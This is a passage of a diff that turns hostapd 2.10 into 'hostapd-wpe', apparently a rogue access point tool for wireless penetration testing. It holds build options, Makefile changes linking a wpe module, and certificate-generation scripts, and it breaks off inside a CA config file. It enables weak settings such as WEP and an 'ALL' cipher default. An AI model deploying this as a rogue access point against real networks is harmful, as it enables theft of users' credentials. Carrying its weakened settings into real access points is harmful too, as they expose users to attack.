diff '--color=auto' -rupN hostapd-2.10/hostapd/.config hostapd-2.10-wpe/hostapd/.config --- hostapd-2.10/hostapd/.config 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/.config 2022-02-22 00:00:00.356000000 +0000 @@ -0,0 +1,416 @@ +# Wireless Pawn Edition HostAPd configuration file +# +# This file lists the configuration options that are used when building the +# hostapd binary. All lines starting with # are ignored. Configuration option +# lines must be commented out complete, if they are not to be included, i.e., +# just setting VARIABLE=n is not disabling that variable. +# +# This file is included in Makefile, so variables like CFLAGS and LIBS can also +# be modified from here. In most cass, these lines should use += in order not +# to override previous values of the variables. + +# Driver interface for Host AP driver +CONFIG_DRIVER_HOSTAP=y + +# Driver interface for wired authenticator +CONFIG_DRIVER_WIRED=y + +# Driver interface for drivers using the nl80211 kernel interface +CONFIG_DRIVER_NL80211=y + +# QCA vendor extensions to nl80211 +CONFIG_DRIVER_NL80211_QCA=y + +# driver_nl80211.c requires libnl. If you are compiling it yourself +# you may need to point hostapd to your version of libnl. +# +#CFLAGS += -I$ +#LIBS += -L$ + +# Use libnl v2.0 (or 3.0) libraries. +#CONFIG_LIBNL20=y + +# Use libnl 3.2 libraries (if this is selected, CONFIG_LIBNL20 is ignored) +CONFIG_LIBNL32=y + + +# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver) +#CONFIG_DRIVER_BSD=y +#CFLAGS += -I/usr/local/include +#LIBS += -L/usr/local/lib +#LIBS_p += -L/usr/local/lib +#LIBS_c += -L/usr/local/lib + +# Driver interface for no driver (e.g., RADIUS server only) +#CONFIG_DRIVER_NONE=y + +# WPA2/IEEE 802.11i RSN pre-authentication +CONFIG_RSN_PREAUTH=y + +# Support Operating Channel Validation +#CONFIG_OCV=y + +# Integrated EAP server +CONFIG_EAP=y + +# EAP Re-authentication Protocol (ERP) in integrated EAP server +CONFIG_ERP=y + +# EAP-MD5 for the integrated EAP server +CONFIG_EAP_MD5=y + +# EAP-TLS for the integrated EAP server +CONFIG_EAP_TLS=y + +# EAP-MSCHAPv2 for the integrated EAP server +CONFIG_EAP_MSCHAPV2=y + +# EAP-PEAP for the integrated EAP server +CONFIG_EAP_PEAP=y + +# EAP-GTC for the integrated EAP server +CONFIG_EAP_GTC=y + +# EAP-TTLS for the integrated EAP server +CONFIG_EAP_TTLS=y + +# EAP-SIM for the integrated EAP server +CONFIG_EAP_SIM=y + +# EAP-AKA for the integrated EAP server +CONFIG_EAP_AKA=y + +# EAP-AKA' for the integrated EAP server +# This requires CONFIG_EAP_AKA to be enabled, too. +CONFIG_EAP_AKA_PRIME=y + +# EAP-PAX for the integrated EAP server +CONFIG_EAP_PAX=y + +# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK) +CONFIG_EAP_PSK=y + +# EAP-pwd for the integrated EAP server (secure authentication with a password) +CONFIG_EAP_PWD=y + +# EAP-SAKE for the integrated EAP server +CONFIG_EAP_SAKE=y + +# EAP-GPSK for the integrated EAP server +CONFIG_EAP_GPSK=y +# Include support for optional SHA256 cipher suite in EAP-GPSK +CONFIG_EAP_GPSK_SHA256=y + +# EAP-FAST for the integrated EAP server +CONFIG_EAP_FAST=y + +# EAP-TEAP for the integrated EAP server +# Note: The current EAP-TEAP implementation is experimental and should not be +# enabled for production use. The IETF RFC 7170 that defines EAP-TEAP has number +# of conflicting statements and missing details and the implementation has +# vendor specific workarounds for those and as such, may not interoperate with +# any other implementation. This should not be used for anything else than +# experimentation and interoperability testing until those issues has been +# resolved. +CONFIG_EAP_TEAP=y + +# Wi-Fi Protected Setup (WPS) +CONFIG_WPS=y +# Enable UPnP support for external WPS Registrars +CONFIG_WPS_UPNP=y +# Enable WPS support with NFC config method +CONFIG_WPS_NFC=y + +# EAP-IKEv2 +CONFIG_EAP_IKEV2=y + +# Trusted Network Connect (EAP-TNC) +CONFIG_EAP_TNC=y + +# EAP-EKE for the integrated EAP server +CONFIG_EAP_EKE=y + +# PKCS#12 (PFX) support (used to read private key and certificate file from +# a file that usually has extension .p12 or .pfx) +CONFIG_PKCS12=y + +# RADIUS authentication server. This provides access to the integrated EAP +# server from external hosts using RADIUS. +CONFIG_RADIUS_SERVER=y + +# Build IPv6 support for RADIUS operations +CONFIG_IPV6=y + +# IEEE Std 802.11r-2008 (Fast BSS Transition) +CONFIG_IEEE80211R=y + +# Use the hostapd's IEEE 802.11 authentication (ACL), but without +# the IEEE 802.11 Management capability (e.g., FreeBSD/net80211) +CONFIG_DRIVER_RADIUS_ACL=y + +# Wireless Network Management (IEEE Std 802.11v-2011) +# Note: This is experimental and not complete implementation. +CONFIG_WNM=y + +# IEEE 802.11ac (Very High Throughput) support +CONFIG_IEEE80211AC=y + +# IEEE 802.11ax HE support +# Note: This is experimental and work in progress. The definitions are still +# subject to change and this should not be expected to interoperate with the +# final IEEE 802.11ax version. +CONFIG_IEEE80211AX=y + +# Remove debugging code that is printing out debug messages to stdout. +# This can be used to reduce the size of the hostapd considerably if debugging +# code is not needed. +#CONFIG_NO_STDOUT_DEBUG=y + +# Add support for writing debug log to a file: -f /tmp/hostapd.log +# Disabled by default. +CONFIG_DEBUG_FILE=y + +# Send debug messages to syslog instead of stdout +CONFIG_DEBUG_SYSLOG=y + +# Add support for sending all debug messages (regardless of debug verbosity) +# to the Linux kernel tracing facility. This helps debug the entire stack by +# making it easy to record everything happening from the driver up into the +# same file, e.g., using trace-cmd. +CONFIG_DEBUG_LINUX_TRACING=y + +# Remove support for RADIUS accounting +#CONFIG_NO_ACCOUNTING=y + +# Remove support for RADIUS +#CONFIG_NO_RADIUS=y + +# Remove support for VLANs +#CONFIG_NO_VLAN=y + +# Enable support for fully dynamic VLANs. This enables hostapd to +# automatically create bridge and VLAN interfaces if necessary. +#CONFIG_FULL_DYNAMIC_VLAN=y + +# Use netlink-based kernel API for VLAN operations instead of ioctl() +# Note: This requires libnl 3.1 or newer. +#CONFIG_VLAN_NETLINK=y + +# Remove support for dumping internal state through control interface commands +# This can be used to reduce binary size at the cost of disabling a debugging +# option. +#CONFIG_NO_DUMP_STATE=y + +# Enable tracing code for developer debugging +# This tracks use of memory allocations and other registrations and reports +# incorrect use with a backtrace of call (or allocation) location. +#CONFIG_WPA_TRACE=y +# For BSD, comment out these. +#LIBS += -lexecinfo +#LIBS_p += -lexecinfo +#LIBS_c += -lexecinfo + +# Use libbfd to get more details for developer debugging +# This enables use of libbfd to get more detailed symbols for the backtraces +# generated by CONFIG_WPA_TRACE=y. +#CONFIG_WPA_TRACE_BFD=y +# For BSD, comment out these. +#LIBS += -lbfd -liberty -lz +#LIBS_p += -lbfd -liberty -lz +#LIBS_c += -lbfd -liberty -lz + +# hostapd depends on strong random number generation being available from the +# operating system. os_get_random() function is used to fetch random data when +# needed, e.g., for key generation. On Linux and BSD systems, this works by +# reading /dev/urandom. It should be noted that the OS entropy pool needs to be +# properly initialized before hostapd is started. This is important especially +# on embedded devices that do not have a hardware random number generator and +# may by default start up with minimal entropy available for random number +# generation. +# +# As a safety net, hostapd is by default trying to internally collect +# additional entropy for generating random data to mix in with the data +# fetched from the OS. This by itself is not considered to be very strong, but +# it may help in cases where the system pool is not initialized properly. +# However, it is very strongly recommended that the system pool is initialized +# with enough entropy either by using hardware assisted random number +# generator or by storing state over device reboots. +# +# hostapd can be configured to maintain its own entropy store over restarts to +# enhance random number generation. This is not perfect, but it is much more +# secure than using the same sequence of random numbers after every reboot. +# This can be enabled with -e command line option. The specified +# file needs to be readable and writable by hostapd. +# +# If the os_get_random() is known to provide strong random data (e.g., on +# Linux/BSD, the board in question is known to have reliable source of random +# data from /dev/urandom), the internal hostapd random pool can be disabled. +# This will save some in binary size and CPU use. However, this should only be +# considered for builds that are known to be used on devices that meet the +# requirements described above. +#CONFIG_NO_RANDOM_POOL=y + +# Should we attempt to use the getrandom(2) call that provides more reliable +# yet secure randomness source than /dev/random on Linux 3.17 and newer. +# Requires glibc 2.25 to build, falls back to /dev/random if unavailable. +#CONFIG_GETRANDOM=y + +# Should we use poll instead of select? Select is used by default. +#CONFIG_ELOOP_POLL=y + +# Should we use epoll instead of select? Select is used by default. +#CONFIG_ELOOP_EPOLL=y + +# Should we use kqueue instead of select? Select is used by default. +#CONFIG_ELOOP_KQUEUE=y + +# Select TLS implementation +# openssl = OpenSSL (default) +# gnutls = GnuTLS +# internal = Internal TLSv1 implementation (experimental) +# linux = Linux kernel AF_ALG and internal TLSv1 implementation (experimental) +# none = Empty template +#CONFIG_TLS=openssl + +# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1) +# can be enabled to get a stronger construction of messages when block ciphers +# are used. +CONFIG_TLSV11=y + +# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.2) +# can be enabled to enable use of stronger crypto algorithms. +CONFIG_TLSV12=y + +# Select which ciphers to use by default with OpenSSL if the user does not +# specify them. +CONFIG_TLS_DEFAULT_CIPHERS="ALL" + +# If CONFIG_TLS=internal is used, additional library and include paths are +# needed for LibTomMath. Alternatively, an integrated, minimal version of +# LibTomMath can be used. See beginning of libtommath.c for details on benefits +# and drawbacks of this option. +#CONFIG_INTERNAL_LIBTOMMATH=y +#ifndef CONFIG_INTERNAL_LIBTOMMATH +#LTM_PATH=/usr/src/libtommath-0.39 +#CFLAGS += -I$(LTM_PATH) +#LIBS += -L$(LTM_PATH) +#LIBS_p += -L$(LTM_PATH) +#endif +# At the cost of about 4 kB of additional binary size, the internal LibTomMath +# can be configured to include faster routines for exptmod, sqr, and div to +# speed up DH and RSA calculation considerably +CONFIG_INTERNAL_LIBTOMMATH_FAST=y + +# Interworking (IEEE 802.11u) +# This can be used to enable functionality to improve interworking with +# external networks. +CONFIG_INTERWORKING=y + +# Hotspot 2.0 +CONFIG_HS20=y + +# Enable SQLite database support in hlr_auc_gw, EAP-SIM DB, and eap_user_file +CONFIG_SQLITE=y + +# Enable Fast Session Transfer (FST) +CONFIG_FST=y + +# Enable CLI commands for FST testing +#CONFIG_FST_TEST=y + +# Testing options +# This can be used to enable some testing options (see also the example +# configuration file) that are really useful only for testing clients that +# connect to this hostapd. These options allow, for example, to drop a +# certain percentage of probe requests or auth/(re)assoc frames. +# +CONFIG_TESTING_OPTIONS=y + +# Automatic Channel Selection +# This will allow hostapd to pick the channel automatically when channel is set +# to "acs_survey" or "0". Eventually, other ACS algorithms can be added in +# similar way. +# +# Automatic selection is currently only done through initialization, later on +# we hope to do background checks to keep us moving to more ideal channels as +# time goes by. ACS is currently only supported through the nl80211 driver and +# your driver must have survey dump capability that is filled by the driver +# during scanning. +# +# You can customize the ACS survey algorithm with the hostapd.conf variable +# acs_num_scans. +# +# Supported ACS drivers: +# * ath9k +# * ath5k +# * ath10k +# +# For more details refer to: +# https://wireless.wiki.kernel.org/en/users/documentation/acs +# +CONFIG_ACS=y + +# Multiband Operation support +# These extensions facilitate efficient use of multiple frequency bands +# available to the AP and the devices that may associate with it. +CONFIG_MBO=y + +# Client Taxonomy +# Has the AP retain the Probe Request and (Re)Association Request frames from +# a client, from which a signature can be produced which can identify the model +# of client device like "Nexus 6P" or "iPhone 5s". +CONFIG_TAXONOMY=y + +# Fast Initial Link Setup (FILS) (IEEE 802.11ai) +CONFIG_FILS=y +# FILS shared key authentication with PFS +CONFIG_FILS_SK_PFS=y + +# Include internal line edit mode in hostapd_cli. This can be used to provide +# limited command line editing and history support. +CONFIG_WPA_CLI_EDIT=y + +# Opportunistic Wireless Encryption (OWE) +# Experimental implementation of draft-harkins-owe-07.txt +CONFIG_OWE=y + +# Airtime policy support +CONFIG_AIRTIME_POLICY=y + +# Override default value for the wpa_disable_eapol_key_retries configuration +# parameter. See that parameter in hostapd.conf for more details. +#CFLAGS += -DDEFAULT_WPA_DISABLE_EAPOL_KEY_RETRIES=1 + +# Wired equivalent privacy (WEP) +# WEP is an obsolete cryptographic data confidentiality algorithm that is not +# considered secure. It should not be used for anything anymore. The +# functionality needed to use WEP is available in the current hostapd +# release under this optional build parameter. This functionality is subject to +# be completely removed in a future release. +CONFIG_WEP=y + +# Remove all TKIP functionality +# TKIP is an old cryptographic data confidentiality algorithm that is not +# considered secure. It should not be used anymore. For now, the default hostapd +# build includes this to allow mixed mode WPA+WPA2 networks to be enabled, but +# that functionality is subject to be removed in the future. +#CONFIG_NO_TKIP=y + +# Pre-Association Security Negotiation (PASN) +# Experimental implementation based on IEEE P802.11z/D2.6 and the protocol +# design is still subject to change. As such, this should not yet be enabled in +# production use. +# This requires CONFIG_IEEE80211W=y to be enabled, too. +CONFIG_PASN=y +CONFIG_IEEE80211W=y + +# Device Provisioning Protocol (DPP) (also known as Wi-Fi Easy Connect) +CONFIG_DPP=y +# DPP version 2 support +CONFIG_DPP2=y +# DPP version 3 support (experimental and still changing; do not enable for +# production use) +CONFIG_DPP3=y + +# Forgotten/lost somewhere +CONFIG_SAE=y diff '--color=auto' -rupN hostapd-2.10/hostapd/Makefile hostapd-2.10-wpe/hostapd/Makefile --- hostapd-2.10/hostapd/Makefile 2022-01-16 20:51:29.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/Makefile 2022-02-21 23:29:30.104000000 +0000 @@ -1,4 +1,4 @@ -ALL=hostapd hostapd_cli +ALL=hostapd-wpe hostapd_cli-wpe CONFIG_FILE = .config include ../src/build.rules @@ -84,6 +84,7 @@ OBJS += ../src/ap/beacon.o OBJS += ../src/ap/bss_load.o OBJS += ../src/ap/neighbor_db.o OBJS += ../src/ap/rrm.o +OBJS += ../src/wpe/wpe.o OBJS_c = hostapd_cli.o OBJS_c += ../src/common/wpa_ctrl.o @@ -1277,11 +1278,20 @@ $(DESTDIR)$(BINDIR)/%: % install: $(addprefix $(DESTDIR)$(BINDIR)/,$(ALL)) +wpe: + install -d $(DESTDIR)/etc/hostapd-wpe + install -m 644 hostapd-wpe.conf hostapd-wpe.eap_user $(DESTDIR)/etc/hostapd-wpe + install -d $(DESTDIR)/etc/hostapd-wpe/certs + install -d $(DESTDIR)/etc/hostapd-wpe/certs/demoCA + install -m 644 certs/demoCA/cacert.pem $(DESTDIR)/etc/hostapd-wpe/certs/demoCA + install -m 755 certs/bootstrap $(DESTDIR)/etc/hostapd-wpe/certs + install -m 644 certs/ca.cnf certs/client.cnf certs/Makefile certs/README certs/README.wpe certs/server.cnf certs/xpextensions $(DESTDIR)/etc/hostapd-wpe/certs + _OBJS_VAR := OBJS include ../src/objs.mk -hostapd: $(OBJS) - $(Q)$(CC) $(LDFLAGS) -o hostapd $(OBJS) $(LIBS) +hostapd-wpe: $(OBJS) + $(Q)$(CC) $(LDFLAGS) -o $@ $(OBJS) $(LIBS) @$(E) " LD " $@ ifdef CONFIG_WPA_TRACE @@ -1291,8 +1301,8 @@ endif _OBJS_VAR := OBJS_c include ../src/objs.mk -hostapd_cli: $(OBJS_c) - $(Q)$(CC) $(LDFLAGS) -o hostapd_cli $(OBJS_c) $(LIBS_c) +hostapd_cli-wpe: $(OBJS_c) + $(Q)$(CC) $(LDFLAGS) -o $@ $(OBJS_c) $(LIBS_c) @$(E) " LD " $@ NOBJS = nt_password_hash.o ../src/crypto/ms_funcs.o $(SHA1OBJS) diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/Makefile hostapd-2.10-wpe/hostapd/certs/Makefile --- hostapd-2.10/hostapd/certs/Makefile 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/certs/Makefile 2022-02-21 23:29:30.100000000 +0000 @@ -0,0 +1,145 @@ +###################################################################### +# +# Make file to be installed in /etc/raddb/certs to enable +# the easy creation of certificates. +# +# See the README file in this directory for more information. +# +# $Id: cc12464c6c7754aff2f0c8d6e116708c94ff2168 $ +# +###################################################################### + +DH_KEY_SIZE = 2048 + +# +# Set the passwords +# +-include passwords.mk + +###################################################################### +# +# Make the necessary files, but not client certificates. +# +###################################################################### +.PHONY: all +all: index.txt serial dh server ca client + +.PHONY: client +client: client.pem + +.PHONY: ca +ca: ca.der + +.PHONY: server +server: server.pem server.vrfy + +.PHONY: verify +verify: server.vrfy client.vrfy + +passwords.mk: server.cnf ca.cnf client.cnf + @echo "PASSWORD_SERVER = '$(shell grep output_password server.cnf | sed 's/.*=//;s/^ *//')'" > $@ + @echo "PASSWORD_CA = '$(shell grep output_password ca.cnf | sed 's/.*=//;s/^ *//')'" >> $@ + @echo "PASSWORD_CLIENT = '$(shell grep output_password client.cnf | sed 's/.*=//;s/^ *//')'" >> $@ + @echo "USER_NAME = '$(shell grep emailAddress client.cnf | grep '@' | sed 's/.*=//;s/^ *//')'" >> $@ + @echo "CA_DEFAULT_DAYS = '$(shell grep default_days ca.cnf | sed 's/.*=//;s/^ *//')'" >> $@ + +###################################################################### +# +# Diffie-Hellman parameters +# +###################################################################### +dh: + openssl dhparam -out dh -2 $(DH_KEY_SIZE) + +###################################################################### +# +# Create a new self-signed CA certificate +# +###################################################################### +ca.key ca.pem: ca.cnf + @[ -f index.txt ] || $(MAKE) index.txt + @[ -f serial ] || $(MAKE) serial + openssl req -new -x509 -keyout ca.key -out ca.pem \ + -days $(CA_DEFAULT_DAYS) -config ./ca.cnf + +ca.der: ca.pem + openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der + +###################################################################### +# +# Create a new server certificate, signed by the above CA. +# +###################################################################### +server.csr server.key: server.cnf + openssl req -new -out server.csr -keyout server.key -config ./server.cnf + +server.crt: server.csr ca.key ca.pem + openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr -key $(PASSWORD_CA) -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf + +server.p12: server.crt + openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12 -passin pass:$(PASSWORD_SERVER) -passout pass:$(PASSWORD_SERVER) + +server.pem: server.p12 + openssl pkcs12 -in server.p12 -out server.pem -passin pass:$(PASSWORD_SERVER) -passout pass:$(PASSWORD_SERVER) + +.PHONY: server.vrfy +server.vrfy: ca.pem + @openssl verify -CAfile ca.pem server.pem + +###################################################################### +# +# Create a new client certificate, signed by the the above server +# certificate. +# +###################################################################### +client.csr client.key: client.cnf + openssl req -new -out client.csr -keyout client.key -config ./client.cnf + +client.crt: client.csr ca.pem ca.key + openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr -key $(PASSWORD_CA) -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf + +client.p12: client.crt + openssl pkcs12 -export -in client.crt -inkey client.key -out client.p12 -passin pass:$(PASSWORD_CLIENT) -passout pass:$(PASSWORD_CLIENT) + +client.pem: client.p12 + openssl pkcs12 -in client.p12 -out client.pem -passin pass:$(PASSWORD_CLIENT) -passout pass:$(PASSWORD_CLIENT) + cp client.pem $(USER_NAME).pem + +.PHONY: client.vrfy +client.vrfy: ca.pem client.pem + c_rehash . + openssl verify -CApath . client.pem + +###################################################################### +# +# Miscellaneous rules. +# +###################################################################### +index.txt: + @touch index.txt + +serial: + @echo '01' > serial + +print: + openssl x509 -text -in server.crt + +printca: + openssl x509 -text -in ca.pem + +install: + install -d $(DESTDIR)/etc/hostapd-wpe + install -m 644 dh $(DESTDIR)/etc/hostapd-wpe + install -m 644 ca.pem $(DESTDIR)/etc/hostapd-wpe + install -m 644 server.pem $(DESTDIR)/etc/hostapd-wpe + install -m 644 server.key $(DESTDIR)/etc/hostapd-wpe + +clean: + @rm -f *~ *old client.csr client.key client.crt client.p12 client.pem + +# +# Make a target that people won't run too often. +# +destroycerts: + rm -f *~ dh *.csr *.crt *.p12 *.der *.pem *.key index.txt* \ + serial* *\.0 *\.1 diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/README hostapd-2.10-wpe/hostapd/certs/README --- hostapd-2.10/hostapd/certs/README 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/certs/README 2022-02-21 23:29:30.100000000 +0000 @@ -0,0 +1,226 @@ + This directory contains scripts to create the server certificates. +To make a set of default (i.e. test) certificates, simply type: + +$ ./bootstrap + + The "openssl" command will be run against the sample configuration +files included here, and will make a self-signed certificate authority +(i.e. root CA), and a server certificate. This "root CA" should be +installed on any client machine needing to do EAP-TLS, PEAP, or +EAP-TTLS. + + The Microsoft "XP Extensions" will be automatically included in the +server certificate. Without those extensions Windows clients will +refuse to authenticate to FreeRADIUS. + + The root CA and the "XP Extensions" file also contain a crlDistributionPoints +attribute. The latest release of Windows Phone needs this to be present +for the handset to validate the RADIUS server certificate. The RADIUS +server must have the URI defined but the CA need not have...however it +is best practice for a CA to have a revocation URI. Note that whilst +the Windows Mobile client cannot actually use the CRL when doing 802.1X +it is recommended that the URI be an actual working URL and contain a +revocation format file as there may be other OS behaviour at play and +future OSes that may do something with that URI. + + In general, you should use self-signed certificates for 802.1x (EAP) +authentication. When you list root CAs from other organisations in +the "ca_file", you permit them to masquerade as you, to authenticate +your users, and to issue client certificates for EAP-TLS. + + If FreeRADIUS was configured to use OpenSSL, then simply starting +the server in root in debugging mode should also create test +certificates, i.e.: + +$ radiusd -X + + That will cause the EAP-TLS module to run the "bootstrap" script in +this directory. The script will be executed only once, the first time +the server has been installed on a particular machine. This bootstrap +script SHOULD be run on installation of any pre-built binary package +for your OS. In any case, the script will ensure that it is not run +twice, and that it does not over-write any existing certificates. + + If you already have CA and server certificates, rename (or delete) +this directory, and create a new "certs" directory containing your +certificates. Note that the "make install" command will NOT +over-write your existing "raddb/certs" directory, which means that the +"bootstrap" command will not be run. + + + NEW INSTALLATIONS OF FREERADIUS + + + We suggest that new installations use the test certificates for +initial tests, and then create real certificates to use for normal +user authentication. See the instructions below for how to create the +various certificates. The old test certificates can be deleted by +running the following command: + +$ rm -f *.pem *.der *.csr *.crt *.key *.p12 serial* index.txt* + + Then, follow the instructions below for creating real certificates. + + Once the final certificates have been created, you can delete the +"bootstrap" command from this directory, and delete the +"make_cert_command" configuration from the "tls" sub-section of +eap.conf. + + If you do not want to enable EAP-TLS, PEAP, or EAP-TTLS, then delete +the relevant sub-sections from the "eap.conf" file. + + + MAKING A ROOT CERTIFICATE + + +$ vi ca.cnf + + Edit the "input_password" and "output_password" fields to be the + password for the CA certificate. + + Edit the [certificate_authority] section to have the correct values + for your country, state, etc. + +$ make ca.pem + + This step creates the CA certificate. + +$ make ca.der + + This step creates the DER format of the self-signed certificate, + which is can be imported into Windows. + + + MAKING A SERVER CERTIFICATE + + +$ vi server.cnf + + Edit the "input_password" and "output_password" fields to be the + password for the server certificate. + + Edit the [server] section to have the correct values for your + country, state, etc. Be sure that the commonName field here is + different from the commonName for the CA certificate. + +$ make server.pem + + This step creates the server certificate. + + If you have an existing certificate authority, and wish to create a + certificate signing request for the server certificate, edit + server.cnf as above, and type the following command. + +$ make server.csr + + You will have to ensure that the certificate contains the XP + extensions needed by Microsoft clients. + + + MAKING A CLIENT CERTIFICATE + + + Client certificates are used by EAP-TLS, and optionally by EAP-TTLS +and PEAP. The following steps outline how to create a client +certificate that is signed by the server certificate created above. +You will have to have the password for the server certificate in the +"input_password" and "output_password" fields of the server.cnf file. + + +$ vi client.cnf + + Edit the "input_password" and "output_password" fields to be the + password for the client certificate. You will have to give these + passwords to the end user who will be using the certificates. + + Edit the [client] section to have the correct values for your + country, state, etc. Be sure that the commonName field here is + the User-Name that will be used for logins! + +$ make client.pem + + The users certificate will be in "emailAddress.pem", + i.e. "user@example.com.pem". + + To create another client certificate, just repeat the steps for + making a client certificate, being sure to enter a different login + name for "commonName", and a different password. + + + PERFORMANCE + + + EAP performance for EAP-TLS, TTLS, and PEAP is dominated by SSL + calculations. That is, a normal system can handle PAP + authentication at a rate of 10k packets/s. However, SSL involves + RSA calculations, which are very expensive. To benchmark your system, + do: + +$ openssl speed rsa + + or + +$ openssl speed rsa2048 + + to test 2048 bit keys. + + A 1GHz system will likely do 30 calculations/s. A 2GHz system may + do 50 calculations/s, or more. That number is also the number of + authentications/s that can be done for EAP-TLS (or TTLS, or PEAP). + + + COMPATIBILITY + +The certificates created using this method are known to be compatible +with ALL operating systems. Some common issues are: + + - Windows requires certain OIDs in the certificates. If it doesn't + see them, it will stop doing EAP. The most visible effect is + that the client starts EAP, gets a few Access-Challenge packets, + and then a little while later re-starts EAP. If this happens, see + the FAQ, and the comments in raddb/eap.conf for how to fix it. + + - Windows requires the root certificates to be on the client PC. + If it doesn't have them, you will see the same issue as above. + + - Windows XP post SP2 has a bug where it has problems with + certificate chains. i.e. if the server certificate is an + intermediate one, and not a root one, then authentication will + silently fail, as above. + + - Some versions of Windows CE cannot handle 4K RSA certificates. + They will (again) silently fail, as above. + + - In none of these cases will Windows give the end user any + reasonable error message describing what went wrong. This leads + people to blame the RADIUS server. That blame is misplaced. + + - Certificate chains of more than 64K bytes are known to not work. + This is a problem in FreeRADIUS. However, most clients cannot + handle 64K certificate chains. Most Access Points will shut down + the EAP session after about 50 round trips, while 64K certificate + chains will take about 60 round trips. So don't use large + certificate chains. They will only work after everyone upgrade + everything in the network. + + - All other operating systems are known to work with EAP and + FreeRADIUS. This includes Linux, *BSD, Mac OS X, Solaris, + Symbian, along with all known embedded systems, phones, WiFi + devices, etc. + + - Someone needs to ask Microsoft to please stop making life hard for + their customers. + + + SECURITY CONSIDERATIONS + +The default certificate configuration files uses MD5 for message +digests, to maintain compatibility with network equipment that +supports only this algorithm. + +MD5 has known weaknesses and is discouraged in favour of SHA1 (see +http://www.kb.cert.org/vuls/id/836068 for details). If your network +equipment supports the SHA1 signature algorithm, we recommend that you +change the "ca.cnf", "server.cnf", and "client.cnf" files to specify +the use of SHA1 for the certificates. To do this, change the +'default_md' entry in those files from 'md5' to 'sha1'. diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/README.wpe hostapd-2.10-wpe/hostapd/certs/README.wpe --- hostapd-2.10/hostapd/certs/README.wpe 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/certs/README.wpe 2022-02-21 23:29:30.100000000 +0000 @@ -0,0 +1,13 @@ +# Certificate creation for Hostapd-WPE # +######################################## + +Usage: + +make clean +./bootstrap +make install + +Notes: +- Windows 10 (and possibly any Windows starting from Vista) will fail EAP + if certificates signed with MD5 are used. +- Generated certificates used a SHA256 signature. diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/bootstrap hostapd-2.10-wpe/hostapd/certs/bootstrap --- hostapd-2.10/hostapd/certs/bootstrap 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/certs/bootstrap 2022-02-21 23:29:30.100000000 +0000 @@ -0,0 +1,82 @@ +#!/bin/sh +# +# This is a wrapper script to create default certificates when the +# server first starts in debugging mode. Once the certificates have been +# created, this file should be deleted. +# +# Ideally, this program should be run as part of the installation of any +# binary package. The installation should also ensure that the permissions +# and owners are correct for the files generated by this script. +# +# $Id: c9d939beac8d5bdc21ea1ff9233442f9ab933297 $ +# +umask 027 +cd `dirname $0` + +make -h > /dev/null 2>&1 + +# +# If we have a working "make", then use it. Otherwise, run the commands +# manually. +# +if [ "$?" = "0" ]; then + make all + exit $? +fi + +# +# The following commands were created by running "make -n", and edited +# to remove the trailing backslash, and to add "exit 1" after the commands. +# +# Don't edit the following text. Instead, edit the Makefile, and +# re-generate these commands. +# +if [ ! -f dh ]; then + openssl dhparam -out dh 1024 || exit 1 + if [ -e /dev/urandom ] ; then + ln -sf /dev/urandom random + else + date > ./random; + fi +fi + +if [ ! -f server.key ]; then + openssl req -new -out server.csr -keyout server.key -config ./server.cnf || exit 1 +fi + +if [ ! -f ca.key ]; then + openssl req -new -x509 -keyout ca.key -out ca.pem -days `grep default_days ca.cnf | sed 's/.*=//;s/^ *//'` -config ./ca.cnf || exit 1 +fi + +if [ ! -f index.txt ]; then + touch index.txt +fi + +if [ ! -f serial ]; then + echo '01' > serial +fi + +if [ ! -f server.crt ]; then + openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf || exit 1 +fi + +if [ ! -f server.p12 ]; then + openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12 -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` || exit 1 +fi + +if [ ! -f server.pem ]; then + openssl pkcs12 -in server.p12 -out server.pem -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` || exit 1 + openssl verify -CAfile ca.pem server.pem || exit 1 +fi + +if [ ! -f ca.der ]; then + openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der || exit 1 +fi + +if [ ! -f client.key ]; then + openssl req -new -out client.csr -keyout client.key -config ./client.cnf +fi + +if [ ! -f client.crt ]; then + openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf +fi diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/ca.cnf hostapd-2.10-wpe/hostapd/certs/ca.cnf --- hostapd-2.10/hostapd/certs/ca.cnf 1970-01-01 00:00:00.000000000 +0000 +++ hostapd-2.10-wpe/hostapd/certs/ca.cnf 2022-02-21 23:29:30.100000000 +0000 @@ -0,0 +1,62 @@ +[ ca ] +default_ca = CA_default + +[ CA_default ] +dir = ./ +certs = $dir +crl_dir = $dir/crl +database = $dir/index.txt +new_certs_dir = $dir +certificate = $dir/ca.pem +serial = $dir/serial +crl = $dir/crl.pem +private_key = $dir/ca.key +RANDFILE = $dir/.rand +name_opt = ca_default +cert_opt = ca_default +default_days = 365 +default_crl_days = 364 +default_md = sha256 +preserve = no +policy = policy_match +crlDistributionPoints = 